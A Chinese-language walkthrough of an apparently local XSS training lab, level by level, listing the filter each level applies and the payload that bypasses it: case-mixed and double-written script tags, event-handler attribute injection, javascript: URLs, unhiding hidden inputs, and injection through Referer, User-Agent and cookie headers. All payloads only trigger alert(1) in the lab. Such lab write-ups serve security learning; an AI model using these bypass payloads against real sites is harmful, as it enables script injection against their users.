payload:
http://xss/level1.php?name=<Script>alert(1)</Script>
这里变量出现在两处,我们直接利用第二处,做构造以及闭合
payload:
1"><ScRipt>alert(1)</ScRipt>
用第二关的payload去试一下,发现内容没变化,但是就是没当成js代码
查一下网页源代码和php代码
看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号,如 "<"等,html当成标签
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)
这里我用的是click,直接点击一下就可以了
payload:
' onclick ='javascript:alert(1)'//
==同第三关(把单引号换成双引号)==
script过滤了,onclick也过滤了
尝试构造a标签
"></input><a href='javascript:alert(1)'>asd</a>//
==同第二关==
删去了script,这个简单看看是不是过滤了一次,将script变成scrscriptipt
成功,看来只过滤了一次
payload:
1"><ScscriptRipt>alert(1)</ScscriptRipt>
老规矩拿第6关的payload试验一下,然后看网页源代码
上边过滤了<>特殊符号
下边在script中间加了个下划线
但是注意看下边代码再href里,哪还说啥了
我们这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过
payload:
javascript:alert(1)
先来波检测,填入它然后查源代码,看过滤情况
<>"'script onclick
完BK,双引号和尖括号都给过滤了,但是下边发现了,您的链接不合法,那我填个合法的?
那我再动动手脚
javascript:alert(1);http://www.baidu.com
还是不行
那我编码呗(第八关的后边加个注释再加个网址)
==注意:==后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。
payload:
javascript:alert(1)//http://www.baidu.com
还是'' ' >< script onclick测试一遍,发现只过滤了" 和<>,但是发现了三个隐藏的input,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//
最后的那位出来了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rqOVXnIJ-1635070623127)(C:\Users\梦晨\AppData\Roaming\Typora\typora-user-images\image-20211023182012429.png)]
payload:
&t_sort=" type='text' onclick='javascript:alert(1)'>//
先来看下源代码,又有四个货隐藏了
再来测下,发现还是t_sort不过双引号和尖括号被过滤,t_ref的值咋也变了,再仔细看下原来的,这不是第10关的网址吗?啊,懂了referer,那么就打开我亲爱的BP
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//&t_ref=" type='text'>//
直接刷新一下加上referer
" type='text' onclick='javascript:alert(1)'>//
这不就是UA吗,so easy,来吧还是得用BP改下UA,payload同第十一关
查源代码,多了一个cook,传个值
给我整不会了,跟我玩呢?仔细想想应该目标对了,打开方式不对,cook,难不成cookie?再用BP试试
还真是,
一顿调试无果,上网一找,题有问题
==瞎耽误工夫==
查源码
包含外部的html文件?那这么说我把第一关的网址试一下
http://xss/level15.php?src=http://xss/level1.php?name=%3CScript%3Ealert(1)%3C/Script%3E
尖括号被屏蔽了,而且我们不能构造出onclick等时间,因为你点谁去啊?但是我们可以构造个img,然后onerror方法,来尝试一下
xss/level15.php?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'
老规矩
xss/level16.php?keyword=“ ‘ <> script onerror onclick
过滤了script和" '还有空格
尝试加个a标签,空格用回车编码代替,点击图片过关
<a%0D%0Aonclick='alert(1)'>
源代码,这个embed是什么?
呵呵了,Firefox是能支持,查了需要插件,那我就换成谷歌吧(图片截错了截图成18关的了,不过17和18是一样的payload)
123 onclick='alert(1)'
成了是成了,但是点完没法应可能跟调用失败有关吧,那就换个方法
换成了onmousedown
payload:
123 onmousedown='alert(1)'
==同第十七关==
(19和20涉及到反编译,等我升段之后再更)